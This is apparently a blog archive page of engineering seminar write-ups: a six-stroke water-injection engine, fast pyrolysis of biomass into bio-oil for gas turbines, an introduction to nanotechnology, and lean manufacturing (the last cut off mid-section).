Under the hood of almost all modern automobiles there sits a four-stroke internal combustion engine (ICE). Though the efficiency of the design has been improved upon significantly in the intervening years, the basic concept is the same today as that used by the first practical four-stroke engine built in the 1870s. During every cycle in a typical car engine, each piston moves up and down twice in the chamber, resulting in four total strokes… one of which is the power stroke that provides the torque to move the vehicle. But the automotive industry may soon be revolutionized by a new six-stroke design which adds a second power stroke, resulting in a much more efficient and less polluting alternative.
In a traditional ICE cycle, 1) the fuel/air valves open as the piston moves down, which draws air and fuel into the chamber; 2) the valves close as the piston moves back up, putting the air/fuel mixture under pressure; 3) the mixture is then ignited, causing a small explosion which forces the piston back down, which turns the crank and provides the torque; and finally 4) the exhaust valves open as the piston moves back up once again, pushing the byproducts of the fuel explosion out of the chamber. This leaves the piston back in its starting position, ready for another cycle. This process is repeated thousands of times per minute.
The clever new six-stroke design was developed by 75-year-old mechanic and tinkerer Bruce Crower, a veteran of the racing industry and a owner of a company which produces high-performance cams and other engine parts.
His addition to the ICE design is simple in principle, yet a stroke of genius. After the exhaust cycles out of the chamber, rather than squirting more fuel and air into the chamber, his design injects ordinary water. Inside the extremely hot chamber, the water immediately turns to steam– expanding to 1600 times its volume– which forces the piston down for a second power stroke. Another exhaust cycle pushes the steam out of the chamber, and then the six-stroke cycle begins again.
Besides providing power, this water injection cycle cools the engine from within, making an engine's heavy radiator, coolant, and fans obsolete. Despite its lack of a conventional liquid cooling system, his bench engine is only warm to the touch while it is running.

FAST PYROLYSIS OF BIOMASS TO BIOOIL FOR GREEN POWER GENERATION (OPEN CYCLE GAS TURBINE)

2009-11-27T07:30:00.000-08:00

ABSTRACT:
The scientific consensus on global warming is clear. If atmospheric concentrations of greenhouse gases continue to rise thus it will prove to be a severe threat to human society. It is also a well-established fact that combustion of fossil fuels such as coal, oil and natural gas for power generation is a significant contributor to global warming (1;2;3). On the other hand biomass has long been identified as an alternate sustainable source of renewable energy.

This paper describes in detail a 'fast pyrolysis' process that has been developed and used to convert biomass to biofuel to be used as a fuel in open cycle gas turbine for power generation. The properties of BioOil produced from both forest and agriculture biomass wastes will be given in detail, particularly in reference to their application as a fuel for gas turbine engines. Economics of a combined cycle power generation plant utilizing pyrolysis liquid (BioOil) from biomass in a gas turbine engine is presented.The nearest term commercial application for BioOil is as clean fuel for generating power and heat from gas turbines and boilers.

1.INTRODUCTION
Power generation using a solid fuel has had significant limitations with respect to materials handling requirements and efficient energy conversion. Converting biomass fuel into a liquid addresses these issues and makes possible the use of higher efficiency combined cycle systems for power generation. 'Fast pyrolysis' technology is a unique process that converts these solid biomass waste materials into a relatively clean burning liquid fuel that is carbon dioxide and greenhouse gas (GHG) neutral.
In the sugar production process from cane approximately 30% by weight of the crop becomes a fibrous residue referred to as bagasse. Traditionally, much of this solid waste product has been incinerated in stationary boilers to produce steam for the process. As bagasse contains significant quantities of silica, its application as a fuel creates many operational problems due to a) the glazing (fouling) of spreader stoker equipment and high temperature heat transfer surfaces and b) accelerated erosion of steel tubing exposed to the abrasive particles in the flue gas. As a consequence, disposal of this residue has been problematic, inefficient and expensive to the industry. To overcome this problem we opt for fast pyrolysis of biomass to bio oil.

2. ‘FAST PYROLYSIS' OF BIOMASS:
Fast pyrolysis (more accurately defined as thermolysis) is a process in which a material, such as biomass, is rapidly heated to high temperatures in the absence of air (specifically oxygen). The biomass decomposes into a combination of solid char, gas, vapors and aerosols. When cooled, most volatiles condense to a liquid referred to as 'BioOil'. The remaining gases comprise a medium calorific value non-condensable gas. BioOil is a liquid mixture of oxygenated compounds containing various chemical functional groups, such as carbonyl, carboxyl and phenolic. BioOil is made up of the following constituents: 20-25% water, 25-30% water insoluble pyrolytic lignin, 5-12% organic acids, 5-10% non-polar hydrocarbons, 5-10% anhydrosugars and 10-25% other oxygenated compounds.

In this particular fast pyrolysis process, biomass feedstock is introduced into a thermolysis reactor having a bed of inert material, such as sand, with a height to width ratio greater than one. The biomass is shredded to sufficiently small dimensions so that its size does not limit significantly the production of the liquid product fraction. Simultaneous introduction of pre-heated, non-oxidizing gas at sufficient linear velocity performs two principal functions: firstly, as a medium for fluidizing the hot sand bed and secondly, to cause automatic elutriation of the product char from the fluidized bed reactor. The process includes removing the elutriated char particles from the effluent reactor stream and rapidly quenching the gas, aerosols and vapors to produce a high conversion yield of liquid BioOil. For maximum yield of liquid, the thermolysis reaction must take place within a period of a few seconds at temperatures ranging from 450°C to 500°C. The products must then be quenched as soon as possible to prevent cracking of the newly produced BioOil.

3. FAST PYROLYSIS HEAT AND MASS BALANCE:
Feedstock for the fast pyrolysis process can be any biomass waste material including wood by-products and agricultural wastes. Preparation includes drying the feedstock to less than 10% moisture content to minimize the water in the BioOil and then grinding the feed to small particles to ensure rapid heat transfer rates in the reactor. When processing wood-derived feedstocks the conversion yield to liquid BioOil, solid char and non-condensable gas is approximately 70%, 15% and 15% by weight, respectively, on an as fed basis. When processing bagasse derived feedstocks (having ash content as high as 10% on an a dry basis), the yields are measured to be 62% BioOil, 26% char and 12% non-condensable gas. These yield rates were identical to those determined previously in laboratory size apparatus using the same operating conditions. The heat required for thermolysis is the total heat that must be delivered to the reactor to provide all the sensible, radiation and reaction heat for the process to proceed to completion. The heat of reaction for the fast pyrolysis process is marginally endothermic. When operating the pilot plant using prepared pine/ spruce as feedstock, the total heat requirement to produce BioOil at a 70% yield rate (including radiation and exhaust gas losses) is approximately 2.5 MJ per kilogram of BioOil produced. The net heat required from an external fuel source, such as natural gas, is only 1.0 MJ per kilogram of BioOil when the non-condensable gas produced in the process is directly injected into the reactor burner. This represents approximately 5% of the total calorific value of the BioOil being produced.

4. BIO OIL ANALYSIS:
BioOil is a dark brown liquid that is free flowing. It has a pungent smoky odor. BioOil contains several hundred different chemicals with a wide-ranging molecular weight distribution.

The following Table I lists the properties of BioOil produced by the BioTherm™ pilot plant, derived from three different biomass feedstocks
Table I: BioOil Properties
Biomass Feedstock Pine/ Spruce 100% wood Pine/ Spruce 53%wood
47% bark Bagasse
Moisture wt% 2.4 3.5 2.1
Ash Content wt% 0.42 2.6 2.9
BioOil
PH 2.3 2.4 2.6
Water Content wt% 23.3 23.4 20.8
Lignin Content wt% 24.7 24.9 23.5
Solids Content wt% < 0.10 < 0.10 < 0.10
Ash content wt% < 0.02 < 0.02 < 0.02
Density kg/L 1.20 1.19 1.20
Calorific Value MJ/kg 16.6 16.4 15.4
Kinematic Viscosity cSt @20°C 73 78 57
cSt @80°C 4.3 4.4 4.0

The density of BioOil is high, approximately 1.2 kg/liter. On a volumetric basis BioOil has 55% of the energy content of diesel oil and 40% on a weight basis.

The solids entrained in the BioOil principally contain fine char particles that are not removed by the cyclones. As can be seen, the solids in the BioOil have been reduced significantly to levels of approximately 0.1% by weight. The ash content in these solids ranges from 2% to 20%, depending on the ash content in the feedstock
Table II: BioOil Composition
Feedstock Pine/ Spruce 55% wood 45% bark Bagasse
BioOil Concentrations wt%
Water 24.3 20.8
"Lignin" 24.9 23.5
Cellobiosan 1.9 -
Glyoxal 1.9 2.2

Hydroxy-acetaldehyde 10.2 10.2
Levoglucosan 6.3 3.0
Formaldehyde 3.0 3.4
Formic acid 3.7 5.7
Acetic acid 4.2 6.6
Acetol 4.8 5.8

5. CURRENT BIOMASS CONVERSION TECHNOLOGIES:
The most common biomass conversion technology in use today is combustion using either stoker fed grates or fluidized bed combustors equipped with a water/steam cooled boiler utilizing the standard Rankine cycle for electric power generation. Nominal conversion efficiency for this conversion technology is approximately 21% based on simple cycle operation and biomass feed supplied at 50% moisture. By adopting a combined cycle system using a gas turbine engine coupled to a heat recovery steam generator (HRSG) and steam turbine, the conversion efficiency can be increased as much as 40% more than that of a simple cycle system.

There have been four main directions of development in utilizing gas turbines for bioenergy applications:

1) Direct Combustion: Combusting finely ground biomass in a large combustor and expanding it directly in the turbine.
2) Indirect Combustion: Atmospheric combustion of biomass with the heat introduced to the turbine through a heat exchanger.
3) Gasification + GT: The conversion of solid biomass to a low or medium energy gas that is directly combusted in the gas turbine.

4) Fast Pyrolysis + GT: The conversion of biomass to a BioOil that is directly combusted in the gas turbine.

It is this fourth option that shows significant advantages in its ability to maintain high efficiency due to direct combustion and the added benefit in the ability to store the fuel. The advantage of fuel storage is significant since this de-couples the operation of the engine from the reactor, maximizing the overall availability of the power generation plant. Downtime of the reactor will not shut down the engine provided sufficient stores of BioOil are available for continuous operation. As well, this also permits the economic transportation of fuel as it is in a liquid form and has a relatively high energy density compared to solid biomass, which has a significantly lower energy to volume ratio thus making it uneconomical to transport.

6. ECONOMIC ANALYSIS
Although there are significant technical and logistical advantages to a fast pyrolysis liquid fueled gas turbine system, the economics of such an installation are also important. Budgetary numbers have been produced which show the variation in the cost of electricity (COE) with changing feedstock costs. The flexibility of a gas turbine installation allows for several types of configurations and for this analysis, the three most common configurations are considered:
• Simple Cycle: Gas turbine turning a generator
• Combined Cycle: Configuration 1 + the exhaust heat is used to generate steam which is expanded through a steam turbine providing more mechanical power to produce additional electricity.
• Co-generation: Configuration 1 + process steam generation for use in industry or a plant.

The COE is calculated as the ratio of annual expenses to the amount of energy produced in a given year. The annual expenses are a combination of operating and maintenance costs and capital costs which are amortized over a 15-year plant life assuming an 8% net present value. The capital cost includes all equipment to take 'as delivered' biomass and convert it to electricity at the generator terminals. For each of the configurations, their expected heat and power outputs and efficiencies are indicated. It is assumed that there are no additional revenues from any charcoal or chemical products which can also be produced from the fast pyrolysis process. Typically fast pyrolysis char comprises 15 to 20% of the feedstock, by weight. The higher heating value is normally in the range of 24 to 28 MJ/kg. From an energy perspective, if this char were combusted and the gases routed through the HRSG then the steam turbine generation rate would add to the overall efficiency of the system.

These examples represent relatively small installations and, therefore, do not achieve the economies of scale one would see in a larger plant. However, the results indicate that the COE is similar to other much larger bioenergy installations. This is the case for a 30 MWe combined cycle installation where a 20 year plant life was assumed with an equivalent feedstock cost of 3-4 $US/tonne and the COE was estimated to be 0.046 $US/kWhr. As well, there is the potential to reduce the COE further through a revenue stream from carbon credits. Although not yet clearly established, this potential commodity could be a significant income source for such a plant.

7. BIO OIL APPLICATION AS A FUEL IN GAS TURBINE ENGINES
As a clean fuel, BioOil has a number of environmental advantages over fossil fuels:
 CO2 / Greenhouse Gas Neutral - Because BioOil is derived from biomass (organic waste), it is considered to be greenhouse gas neutral and can generate carbon dioxide credits.
 No SOx Emissions - As biomass does not contain sulfur, BioOil produces virtually no SOx emissions and therefore, would not be subjected to SOx taxes.
 Low NOx - BioOil fuels generate more than 50% lower NOx emissions than diesel oil in gas turbines.
 Renewable and Locally Produced - BioOil can be produced in countries where there are large volumes of organic waste. As BioOil has unique properties as a fuel, it requires special consideration and design modifications. Some of these properties are presented in
Table III: Typical Properties of BioOil Compared to Diesel Fuel

Parameter BioOil Diesel
Calorific Value MJ/kg 15-20 42.0
Kinematic Viscosity cSt 3 - 9
@ 80 °C 2 - 4
@ 20 °C
Acidity pH 2.3 - 3.3 5
Water wt% 20 - 25 0.05 v%
Solids wt% <0.1 (combined)
Ash wt% <0.02 0.01
Alkali (Na + K) ppm 5 - 100 <1

A first generation fuel system and combustion system were designed and tested, demonstrating the capability to operate a 2.5 MW industrial gas turbine on BioOil These tests not only revealed the feasibility of operation but also demonstrated that similar performance could be achieved for BioOil and diesel. Although CO and particulate emissions were higher than diesel, testing revealed that NOx emissions were about half that from diesel fuel and the SO2 emissions levels were so low as to be undetectable by the instrumentation.
The turbine offers distinct technical advantages over other engines. Unlike aero-derivative engines, it has been designed as an industrial engine with durability being one of the main design criteria and not weight. In addition to the ruggedness, the distinct "silo" type combustion system allows for easy access and modifications to the entire combustion system, which is one of the critical systems for the adaptation of the engine to BioOil.

Application of Pyrolysis Oil to Gas Turbine Operation. BioOil has an energy density approximately half of diesel fuel. Therefore, to meet the same energy input requirement, the flow rate must be double.

Injection system:
This requires design changes to the fuel system to be able to control higher flow rates and also modify the fuel nozzle to accommodate this larger flow. This lower energy density also can affect combustion since physically there must be twice as much fuel in the combustion chamber as with diesel. This, however, is another advantage of using an industrial engine in the fact that the combustion chambers are designed with a significantly longer residence time (and therefore a larger volume) for a given power output. Higher viscosity of the fuel reduces the efficiency of atomization which is critical to complete combustion. Large droplets take too long to burn. Proper atomization is addressed in three ways.

The fuel system is designed to deliver a high-pressure flow since atomization is improved with larger pressure drops across the fuel nozzle.
The fuel is pre-heated to lower the viscosity to acceptable levels.
The most importantly, the fuel nozzle has been redesigned to improve spray characteristics. These design improvements are important for complete combustion and effectively reducing CO emissions.

Water as a remedy for viscosity reduction:
Although looked at as a contaminant for diesel fuel, the water content in BioOil has some advantages. Firstly, it is helpful in reducing the viscosity, since it is a relatively low viscosity fluid. As well, it is a factor in lowering thermal NOx emissions.

Material specification:
Due to its relatively low pH, material selection is also critical for all components wetted by BioOil. This does not require the use of exotic materials, however, it does eliminate some standard fuel system materials. Typically, 300 series stainless steels are acceptable metallic materials and high-density polyethylene (HDPE) or fluorinated HDPE for polymers

Turbine wash system:
The solids content is a combination of ash and char fines which have carried-over to the liquid part of the BioOil. The effect of these solids is to cause sticking of close tolerance surfaces and secondly, they can result in particulate emissions because of the long residence time required to fully combust. It is important that the solids level in the BioOil is controlled to be less than 0.1 wt%. The ash content in the fuel represents the material that cannot be combusted. Depending on the elements in the ash, it can result as a deposit on the hot gas path components that will reduce the turbine efficiency. This operational problem is a familiar one with the use of low-grade fuel oils, which also have a high ash content. The solution is a turbine wash system. This typically consists of two separate systems in which an abrasive medium is injected during operation to physically 'scrub' off the deposits. This allows turbine cleaning without any downtime. The second system is an offline process which injects a cleaning fluid and allows a soak period to loosen the deposits which are then removed when the engine is started.

Within the ash are alkali elements, which can result in hot corrosion of the hot gas path components with sodium and potassium being the most critical elements found in BioOil. These elements form low melting temperature compounds, which, as a liquid, will stick to the hot gas path components and then react and corrode the component. This effect can be mitigated through the use of fuel additives. As with the turbine wash systems, this technology was developed for the use of heavy fuel oils in gas turbines and has been in use for decades. The concept is to inject specific elements, which preferentially react with the alkali metals such that they do not liquefy.

This both reduces the propensity to stick to a surface and also reduces or completely eliminates its rate of attack. In combination with the additives, hot section coatings are being developed specifically for the type of attack that may be associated with BioOil.

Ignition modification:
Due to the poor ignition characteristics of BioOil, one other key design requirement is a BioOil specific ignition system or process. To overcome this, the turbine system starts on diesel fuel flowing through the primary channel in the fuel nozzle. Following a warm-up period, BioOil is fed into the secondary channel at an increasing rate while the diesel fuel flow is reduced until 100% BioOil flow is achieved.

Polymerization is also a key issue with BioOil. This is the growing of molecular chains, which can result in an increase in fuel viscosity. This process is highly dependent on time and temperature. For example, the equivalent change in properties can be achieved in 6 months at room temperature, compared to 8 hours at 90°C .Therefore, as part of the fuel and combustion system design, maximum temperatures and fuel re-circulating are carefully controlled to ensure polymerization is maintained at a rate, which is inconsequential to engine operation.

8. GAS TURBINE DEVELOPMENT WORK
'First generation' systems and design modifications have been developed and tested. This has demonstrated both the feasibility and significant benefits in utilizing BioOil for the operation of a gas turbine. Efforts are now being placed on the development of second generation designs to achieve performance and durability levels required for commercial operation. This means providing high efficiencies, maintaining high availability, typical time between overhauls and capital cost comparable with current gas turbine power generating packages. Key to this work is the use of a variety of BioOils to ensure designs accommodate as wide a range of fuel characteristics as possible. This will maximize the applicability of the BioOil gas turbine system to a variety of bioenergy applications. Technically, this work is proceeding down two main avenues:

1) Performance:
Optimization of the combustion system and the determination of the improved engine operating and emission characteristics.
Develop and test a turbine wash system based on current systems being utilized on the line of other Mashproekt engines.
2) Durability:
Design and test fuel system equipment and components for long term operation with BioOil.
Develop hot section coatings specific to the BioOil combustion environment.
Develop a fuel treatment system to upgrade the fuel quality through filtering, additives injection and alkali removal.

This work is now underway and has led to the development of a preliminary specification for BioOil. The purpose of this specification is to define an acceptable envelope of critical fuel parameters such that commercial level operation can be maintained.

9. CONCLUSIONS
The use of a gas turbine utilizing pyrolysis oil (BioOil) as a renewable energy source has many significant advantages in both its flexibility in operation and the efficiency that can be achieved. As well, the economics of this type of installation are very competitive with other gas turbine powered bioenergy technologies and further prove its commercial viability.

This has provided confidence in the capability of this fuel being utilized for gas turbine applications. This work has also been key in identifying the required development necessary for commercial level operation with the majority of the required technologies already developed from the use of heavy fuels in gas turbines. Additional testing has been carried out and the development of a second-generation gas turbine BioOil system is under way. It is sure that biooil will contribute largely for energy generation.

10. REFERENCES
1. United Nations Development Program – Global Environment Facility, Climate Change Information Kit, http: //www. undp. org/gef/new/ccinfo .htm, updated July 1999.
2. International Energy Agency statistics on world CO2 emissions,
http://www.iea.org/stats/files/key stats/stats_98.htm, 1996.
3. Environment Canada , "The Greenhouse Gas Emissions Outlook to 2020",
http://www.ec.gc.ca/climate/fact/greenhou.html,
Global Climate Change, November 1997.
4. J. Yan, P. Alvors, L. Eidensten and G. Svedberg, "Afuture for biomass", Mechanical Engineering, Vol.119/No. 10, Oct. 1997, pp. 94-96.
5. P. Gogolek and F. Preto, "Status and Potential of Energy from Biomass in Canada", Proceedings of Combustion and Global Climate Change, Combustion Canada, May 1999.

11. ENDNOTES
Ratio of electricity and heat output to BioOil energy input.
This type of similar engines are manufactured by Mashproekt in the Ukraine who has been designing and building industrial gas turbine engines for over 45 years and has a line of engines ranging from 2.5-25 MW. Orenda packages these engines for various industrial needs such as power generation, pumping and bioenergy applications.

Nanotechnology-advance

2009-11-27T07:28:00.000-08:00

ABSTRACT

Nanotechnology is molecular manufacturing or more simply, building things one atom or molecule at a time with programmed nanoscopic robot arms. A Nanometer is one billionth of a meter (3-4 atoms wide). Utilizing the well-understood chemical properties of atoms and molecules (how they 􀂳stick􀂴 together), Nanotechnology proposes the construction of novel molecular devices possessing extraordinary properties. The trick is to manipulate atoms individually and place them exactly where needed to produce the desired structure.
By treating atoms as discrete, bit-like objects, molecular manufacturing will bring a revolution to the production of material objects. Working at the resolution limit of matter, it will enable the ultimate in miniaturization and performance. By starting with cheap, abundant components- molecules-and processing them with small, high frequency, high productivity machines, it will make products inexpensive.
Within a few short years, consumer goods will become plentiful, inexpensive, smart and durable. Medicine will take a quantum leap forward. Space travel and colonization will become safe and affordable. For these and other reasons, global lifestyles will change radically.
This paper gives you an introduction about Nanotechnology, and a clear idea about its concepts and some of its applications.

INTRODUCTION:
Stone age, bronze age, iron age, silicon age and next what? Nevertheless to say we are very well into nanotech age, where materials are getting smarter and smaller day by day! These smart materials will bring the near perfect future that we now all envision in our dreams.
There would be sensors embedded in all most all walks of life (automobiles, buildings, clothes , cosmetics, water and even mud). Each element will me smart enough to repair and replicate itself as and when required .All this would be possible by manipulating matter at the molecular scale .all this would work in perfect synchronization, but still remain invisible to the human eye.
Nanorobot is a wonderful vision of medicine in the future. The most advanced Nanomedicine involves the use of Nanorobots as miniature surgeons. An advancement in nanotechnology may allow us to build artificial red blood cells called Respirocytes capable of carrying oxygen and carbon dioxide molecules (i.e, functions of natural blood cells). Respirocytes are Nanorobots, tiny mechanical devices designed to operate on the
molecular level. Respirocytes can provide a temporary replacement for natural blood cells in the case of an emergency. Thus respirocytes will literally change the treatment of heart disease.

WHAT IS NANO TECHNOLOGY?
The technology where the characteristic dimensions are less than about 1000 nanometers is called Nanotechnology. This technology is all about building individual components. Matter is composed of small atoms that are closely bound together, making up the molecular structure, which in turn determines the density of the material.
The terms “Molecular Nanotechnology” or “Molecular Manufacturing” also refers to Nanotechnology as this technology will let us inexpensively build systems with mole quantities of logic elements that are molecular in both size and precision.

The term Molecular Technology has been coined to mean the technology of highly versatile and inexpensive molecular fabrication, molecular manipulation and molecular level manufacturing.
Since the different factors such as molecular density, malleability, ductility and surface tension come in to play. Nanosystem have to be designed in a cost effective manner that over rides these conditions and help to create machines capable of withstanding the vagaries of the environment.

WHY DO WE NEED THIS TECHNOLOGY?
 To evaluate new ideas and new concepts filtering out the emotional biases and confusion that seem to inevitably surround our perceptions of them.
 Production of smaller, less expensive highly integrated components in less time.
 Better and faster technology.

HOW PROCESS BECOMES EASIER?
As computers break down data into 0s and 1s, Nanotechnology deals with atoms and molecule and lets us to manipulate those atoms and assembly it possible to manufacture, replicate and distribute.

APPLICATIONS:
NANOTUBE:
Nanotubes are tiny tubes of carbon, about 10,000 times thinner than a human hair. These consist of rolled up sheets of carbon hexagons. Discovered in 1991 by researches at NEC, these have the potential for use as mini sale wires are in ultrasmall electronic devices. To build ultra small devices, scientists must be able to manipulate the nanotubes in a controlled way.

IBM researches , using atomic force microscope (AFM), an instrument whose tip can apply accurately measured forces to atoms and molecules, have recently devised a means of changing a nanotubes position, shape and orientation and have also succeededin cutting and bending it. They distorted the tubes in various ways by using calibrated AFM forces; the strong interaction with the surface then stabilized the distorted nanotubes. By applying particularly large forces the researches were able to cut the nanotubes. This led to the important conclusions that the vanderwalls interaction between the nanotubes and the surfaces on which they rest is itself strong enough to change the shape of nanotubes. In general they tends to adapt to the shape of the surface on which they sit by bending and becoming slightly squashed .this changes can cause properties of nanotubes on surface to differ from those of perfect nanotubes, which are straight and have circular cross sections this raise3s the possibility of tailoring nanotubes properties by intentionally changing their shapes.

ADVANTAGES:
As the electronic circuits on computer chips become smaller and smaller conventional transistors run in to physical limitations caused by extreme miniaturisation. Nanotubes hold the promise of creating novel devices, such as carbon based single electron transistors that will allow the miniaturization to continue beyond the limits of current silicon based device technology.
NANOCONTAINERS:
"Micellar nanocontainers" or "Micelles", these are nanoscale polymeric containers that could be used to selectively deliver hydrophobic drugs to specific sites within individual cells. See Nanocontainers deliver on drugs. The first atomic-scale images of nanocrystals that help reduce pollution show a surprising triangular, rather than hexagonal, shape. The new information should help researchers improve the chemical process
Fig: Atomic-Scale Structure of Single-Layer MoS2 Nanoclusters

NANOCRYSTALS:
Nanoscale crystals that are often harder, stronger and more wear resistant than the same materials in bulk form. Nanocrystals might be used to make super-strong and long-lasting metal parts. The crystals also might be added to plastics and other metals to make new types of composite structures for everything from cars to electronics.

NANOHORNS:
One of the SWNT (single walled carbon nanotube) types, with an irregular horn like shape, which may be a critical component of a new generation of fuel cells. The main characteristic of the carbon nanohorns is that when many of the nanohorns group together an aggregate (a secondary particle) of about 100 nanometers is created. The advantage being, that when used as an electrode for a fuel cell, not only is the surface area extremely large, but also, it is easy for the gas and liquid to permeate to the inside. In addition, compared with normal nanotubes, because the nanohorns are easily prepared with high purity it is expected to become a low-cost raw material.

NANOROBOTS:
A tiny autonomous robot to perform a specific task or tasks repeatedly and with precision. It will work in our bloodstream, clearing the plague deposits, curing various genetic flaws, and eliminating cancer cells. It serves as antibodies or antiviral agents in patients.

CLASSIFICATIONS:
 Autonomous Robot
 Insect Robot
AUTONOMOUS ROBOTS:
It contains its own nano computer which controls the machine and allows it to operate independently.

INSECT ROBOTS:
It is one of the fleet of several identical units that are all controlled by a single central computer.The origin of Nanotechnology will be the arrival of the nanorobots. This is not only the application but also the basic need.

THE CENTRAL MONITORING SYSTEM :
These also have the same hardware considerations of the nano - robot as discussed above but with additional features such as bi - directional signal flow and extended memory capacity using principles of quantum mechanics which will be discussed in the later sections of the paper.

POINTS FOR MOBILITY:
PROPELLER UNIT:
The propeller unit is basically made up of legs which follow the principles of morphology. When the nano - robot is about to land the propeller unit acts as legs according to the principle of morphology and moves on land. Before landing, the induction motor stops temporarily and the legs orient themselves to walk on land.

POWER SUPPLY FOR MOBILITY UNIT:
The power supply for the mobility unit is from the piezoelectric unit which is a bunch of carbon nano-tubes. The pressure to the piezoelectric unit is from a cantilever or a diaphragm produced using the technology of MEMS. This pressure sensor applies pressure on the piezoelectric unit thus producing electrical signal as output.This signal is the amplified by the signal conditioning circuit which then fed to the induction motor that drives the propeller.

IMAGE SENSOR:
A film is made of silicon nano-crystals. Tests show that this film has photoelectric characteristics. While experiments have established the basic function of the material, it was also found that controlling the size of the silicon crystals determined the wavelength of the light detected.
According to theory, this new material may pave the way for much more compact high-resolution cameras for broadcast use. Conventional color cameras have three CCD elements for every pixel-one for red, one for green, and one for blue-and use a prism to separate the colors. These nano-crystals could enable production of a single element with three film layers composed of different-sized crystals, with one layer for each color. This would eliminate the need for a triad of CCD elements, as well as the prism. Processes used in the semiconductor industry can be used to create the nanosized silicon films.

CONCLUSION:
Nanotechnology is:
• Enabling
• Revolutionary
• Integrated
• Critical to providing customer value
Humanity will be faced with a powerful, accelerated social revolution as a result of Nanotechnology. In a few decades this emerging manufacturing technology will let us inexpensively arrange atoms and molecules in most of the ways permitted by physical law. It will let us make supercomputers that fit on the head of a pin and fleets of medical nanorobots smaller than a human cell able to eliminate cancer, infections, clogged arteries, and even old age.

LEAN MANUFACTURING

2009-11-27T07:24:00.000-08:00

ABSTRACT

"Anything other than the minimum amount of equipment, materials, parts, space, and worker's time, which are absolutely essential to add value to the product is waste." These are the words of Mr Fujio Cho of Toyota Motor Corporation, Japan.

Lean Manufacturing aims at complete elimination of waste. The apt definition of lean manufacturing can be given as:

Lean manufacturing is a Business philosophy that continuously shortens the time between customer order and shipment by eliminating everything that increases the cost and time.

The basis of lean manufacturing is Toyota production system which was followed in Toyota Motor Corporation, Japan. The focus at Toyota was the absolute elimination of waste, especially anything that prevented the most optimum flow and assembly of material, from raw material to finished goods. A fundamental waste seen at Toyota — and in every other manufacturing facility in the world — was the overproduction of larger batches than what was needed by the next operation.

Lean manufacturing basically involves several types of principles and strategies, some of them commonly used in most of the enterprises. Apart from these several other strategies have been incorporated in most of the manufacturing setups only recently.

In this paper presentation the various principles of lean manufacturing and the various benefits that the companies incorporating the 0lean techniques of production generally achieve has been discussed.

In addition to these basics, an emphasis on concepts of “Just In Time” or JIT is also given. A case study has also been done on a rubber components manufacturing unit, situated at Mumbai, which incorporates lean manufacturing techniques.

INTRODUCTION:

Lean manufacturing is a Business philosophy that continuously shortens the time between customer order and shipment by eliminating everything that increases the cost and time.

Lean manufacturing concept originated in the shop floor of Toyota Motor Corp. and it was called Toyota Production System. The concepts were later studied and elaborated by James .P. Womack as he coined the term “Lean Manufacturing”.

The focus at Toyota was the absolute elimination of waste, especially anything that prevented the most optimum flow and assembly of material, from raw material to finished goods. A fundamental waste seen at Toyota was the overproduction of larger batches than what was required for the next operation.

Characteristics of lean manufacturing:

There are several characteristics for lean manufacturing. But some of these which seem to be the core ones are:

• Customer: The external customer is the start and the finishing point in this case. The optimization of products and procedures is done with the customer in the mind. Effort is made to satisfy the needs of the customer.

• Simplicity: Simplicity is the ultimate goal. The operation, the system, the technology etc is made simple. Simplicity also applies to the suppliers by working closely with few trusted partners.

• Visibility: All operations are made transparent and visible.
• Synchronization: The processes are synchronized with the “one piece flow” in mind such that all the process streams meet together finally.
• Waste:- Waste reduction is one of the main characteristics of lean manufacturing. Waste or muda is reduced to the maximum possible level in this case.
• Time: in lean manufacturing the time taken to produce, to deliver and to introduce new products are cut down. Simultaneous, parallel and overlapping operations are performed to reduce time.
• Variation: Variation is found generally in every process. But in industries employing lean techniques, these variations are reduced and regularity in processes is maintained.
• Participation: the operators are given the first opportunity to solve problems as this helps in inducing a feeling of responsibility in the employees.
• Gemba:- Gemba is the Japanese term for workplace. All the implementation is done in the shop floor and not in the office. The whole setup is managed directly by seeking facts from the workplace itself.

Lean manufacturing techniques.

There are several techniques that are put together to finally employ lean manufacturing. Some of these techniques are:
5S techniques: 5S, abbreviated from the Japanese words Seiri, Seiton, Seison, Seiketsu, and Shitsuke, are simple but effective methods to organize the workplace. The 5S, translated into English are: housekeeping, workplace organization, cleanup, cleanliness, and discipline. They can be defined as follows:
• Housekeeping. Separate needed items from unneeded items. Keep only what is immediately necessary item on the shop floor.
• Workplace Organization. Organize the workplace so that needed items can be easily and quickly accessed. A place for everything and everything in its place.
• Cleanup. Sweeping, washing, and cleaning everything around working area immediately.
• Cleanliness. Keep everything clean for a constant state of readiness.
• Discipline. Everyone understands, obeys, and practices the rules when in the plant.

Kaizen: Kaizen is a Japanese word meaning “ Continuous Improvement”. Kaizen is accelerated and intensive improvement in one critical area of the business. It is a process for improving Cost, Quality and Delivery performance by eliminating waste. It is a process for learning Lean Manufacturing techniques that results in substantial savings in time, space and labor, collapsing cycle times, reducing inventory, reducing scrap and defects, lessening the need for capital expenditure, product based "one at a time" flow production and increasing output by eliminating everything that is non-value added.

Just in time: Just in Time, or JIT is a set of techniques to improve the return on investment of a business by reducing in-process inventory, and its associated costs. The process is driven by a series of signals, or Kanban that tell production processes to make the next part. Kanban are usually simple visual signals such as the presence or absence of a part on a shelf.

Kanban: Kanban scheduling systems are among the most simple, effective and inexpensive means for manufacturing production and inventory control The Japanese refer to Kanban as a simple parts-movement system that depends on cards and boxes/containers to take parts from one work station to another on a production line. It was developed by Taiichi Ohno of Toyota Motor Corp. Kanban stands for Kan- card, Ban- signal. The essence of the Kanban concept is that a supplier or the warehouse should only deliver components to the production line as and when they are needed, so that there is no storage in the production area. Within this system, workstations located along production lines only produce/deliver desired components when they receive a card and an empty container, indicating that more parts will be needed in production. The Kanban method described here appears to be very simple. However, this "visual record" procedure is only a sub-process in the Japanese Kanban management system.

Just in time techniques and its Implementation

In the conventional technique of manufacturing, people simply followed the practices of the past without looking at the conditions and the needs of the present days. This is just not followed in the Just In Time (JIT) technique. In JIT the way to think is “out of the box” and processes have to

be laid out by starting with fundamentals again - simple, direct, and logical, without the need of definition so that it becomes clear and concise.

JIT is a collection of concepts and techniques for improving productivity. JIT is a process aimed at increasing value-added processes and eliminating waste by providing the environment to perfect and simplify the processes. JIT was designed at Toyota specifically to cut waste in production. Just in time, or JIT in short, basically have ten primary tools. These tools are so interconnected that one does not exist without the other. Hence these tools can be represented in the form of a spider web as shown.

